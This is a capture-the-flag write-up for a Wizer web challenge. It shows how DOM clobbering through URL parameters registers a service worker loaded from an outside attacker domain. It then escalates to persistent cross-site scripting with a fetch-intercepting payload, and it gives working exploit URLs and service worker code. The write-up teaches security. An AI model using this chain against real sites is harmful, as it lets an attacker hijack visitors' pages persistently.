            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

Then, at the end of the script, we have three short lines which come in clutch later in this challenge:

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

This part of the script listens to whenever a postmessage is made on the recipebook broadcast channel. It then pops an alert with the contents of that postmessage request.

Lastly, we have the sw.js file.

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

This file dynamically loads in a service worker, from a GET parameter which gets defined by the app.js file on the page.

Initial idea

When participating in CTFs, I like to backtrack from what the goal is to the start of the challenge. Our goal is to pop an alert with the text "Wizer".

One thing that almost instantly attracted my attention was the postmessage listener we found in app.js.

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

If we can somehow send a postmessage request on the recipebook channel, we're able to alert the "Wizer" string!

However, this CTF requires you to enter a single URL in the solution, with a bot that'll visit that URL you posted. Meaning we can't have multiple tabs open to trigger an alert. We somehow need to trigger the alert from visiting a single URL, like a user clicking on your link. But how?

Tracking back, we might be able to exploit the dynamic loading of service workers!

importScripts(`/${getParameterByName('sw')}`);

This sw.js script gets registered from app.js, which takes the innerText value from the HTML element with the ID of sw.

const sw = document.getElementById('sw').innerText;
navigator.serviceWorker.register('sw.js?sw=' + sw)

Does this ring any bell yet? Do you remember the function that sets the ID and innerText values for the theme?

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});

Here you see the mode parameter gets set as the ID of an HTML element, and the color parameter gets set as the text content of that ID.

https://events.wizer-ctf.com/?mode=customID&color=textValue

Chaining everything together

Since service workers get registered from the HTML element with an sw ID, we can overwrite the default service worker on the page.

https://events.wizer-ctf.com/?mode=sw&color=test12345.js

Looking in the browser's developer console, we can see the browser is unable to register the service worker because it doesn't exist:

Can we somehow call a remote JavaScript file on which we host the postmessage script? Yes, we can!

Looking back at sw.js (the script that dynamically registers the service workers), we see that it tries to import a service worker starting with a / in the path:

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

We could abuse this by appending another / after the first slash, which JavaScript automatically translates to a domain name. Meaning that we can register a remote service worker!

I hosted a JavaScript file on my domain, having the following contents (make sure the JavaScript file is hosted on a webserver with HTTPS enabled; otherwise, the service worker won't register):

const channel = new BroadcastChannel('recipebook');
channel.postMessage({ message: 'Wizer' });

Let's try to register this service worker with the exploit we found on the website:

https://events.wizer-ctf.com/?mode=sw&color=/0ay.nl/assets/js/test.js

Boom! When visiting the URL, an alert window pops up with the "Wizer" string! We did it!

Summary

We exploited a vulnerability in the website by crafting a malicious URL with two GET parameters, mode and color. These parameters were used to set an HTML element with the ID specified by the mode parameter, and the content of the element was set according to the color parameter.

Using this mechanism, we overwrote the HTML element with the ID "sw", which was used to register a service worker, with a JavaScript file we controlled. Our JavaScript file sent a postMessage request, which the web app listened for, triggering an alert with the contents of that message. This successful exploit allowed us to solve the challenge by popping an alert with the desired content.

Beyond the challenge

XSS

Although we popped an alert on this web app, this doesn't mean we have full Cross-Site Scripting. The alert was able to fire thanks to the postMessage listener, which listened to any incoming postMessage, and would send out an alert when a postMessage was received.

This, of course, doesn't have any real-world malicious implications. So how can we abuse this? Let's find out!

The capabilities of Service Workers

Unfortunately, according to the Mozilla docs, service workers don't have access to the DOM of the webpage. Which is a bummer because we could've written some of the DOM over to include our custom JavaScript, which would've given us full JS access to the page (including the DOM).

Although service workers can't access the DOM, they have some other nifty features! We can create an event listener for fetch, and even better, we can intercept and change the response of the fetch! This way, we can execute any JavaScript on the page's DOM.

PoC||GTFO

Let's create a proof of concept!

Mozilla has all the service worker APIs nicely documented, just like the event.respondWith() method.

On my domain, I've hosted a JavaScript file with the following contents:

this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("<script>prompt('This is a custom prompt! ' + window.location.host)</script><h1>Hi! This response was intercepted and replaced with a javascript payload!</scrip>", {headers: {'Content-Type': 'text/html'}}));
});

This service worker will listen and wait until a fetch event happens, and when it does happen, it'll intercept the request and change it up for a very simple Cross-Site Scripting payload. Let's see it in action!

1. First, visit the malicious link we made, but instead of test.js, use the fetch.js file, like: https://events.wizer-ctf.com/?mode=sw&color=/0ay.nl/assets/js/fetch.js
2. Nothing appears to happen; this is because the service worker got registered after the fetch requests happened. Refresh the page!
3. A prompt JavaScript window appears, proving our JavaScript code execution!

Clicking on "Ok" or "Cancel" will print out the H1 tag on the screen:

Conclusion

We've done it! We escalated the installation of service workers from a simple alert to full Cross-Site Scripting on our website. And because this is done through a service worker, the XSS is quite persistent, even if you close and reopen your browser! The possibilities are endless now, as you can display and execute anything on the page you want!

Thank you Wizer Training for hosting this CTF, and PinkDraconian for creating this amazing challenge! I learned a lot from the challenge, writing the write-up, and going further than the flag!

Thanks.

• Yoeri Vegt